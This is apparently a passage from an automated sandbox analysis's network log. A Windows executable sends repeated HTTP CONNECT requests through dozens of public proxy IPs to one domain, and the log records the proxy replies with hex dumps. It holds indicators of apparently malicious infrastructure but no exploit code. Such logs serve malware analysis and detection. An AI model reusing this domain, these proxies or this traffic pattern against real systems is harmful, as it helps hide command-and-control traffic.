112	192.168.2.9	50150	130.162.213.175	3129	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.079725027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.850373030 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.9	50288	159.223.166.21	25154	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.079948902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.9	50172	147.75.34.85	10007	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.090703964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.395292997 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.9	50201	147.75.34.86	10000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.093259096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.397861958 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.9	50179	43.128.40.142	65533	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.096148014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.403106928 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.9	50377	31.43.179.160	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.105279922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.259772062 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.9	50296	192.111.137.37	18762	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.105279922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.9	50167	91.134.140.160	57320	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.106363058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.762568951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.700133085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.9	50400	104.16.108.149	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.112246037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.267927885 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.9	50406	104.19.138.4	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.116236925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.271328926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.9	50408	104.20.56.71	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.116707087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.271822929 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.9	50416	104.20.178.166	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.120687962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.275940895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.9	50364	162.214.170.144	32233	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.121227026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.606329918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.153229952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.247014999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.458966970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.666762114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.888557911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.388134956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.200234890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.9	50323	172.93.213.177	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.125370979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.653208971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.309683084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.728162050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.403820038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.983298063 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 14:21:27 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.9	50210	86.8.163.88	9150	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.125781059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.659934998 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.9	50139	138.36.150.16	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.126955986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.9	50151	49.228.131.169	5000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.128797054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.9	50224	194.247.173.17	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.156507015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.9	50146	60.190.68.154	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.156522036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.903211117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.257252932 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.9	50122	103.190.54.141	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.156630993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.9	50342	5.161.103.113	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.156688929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
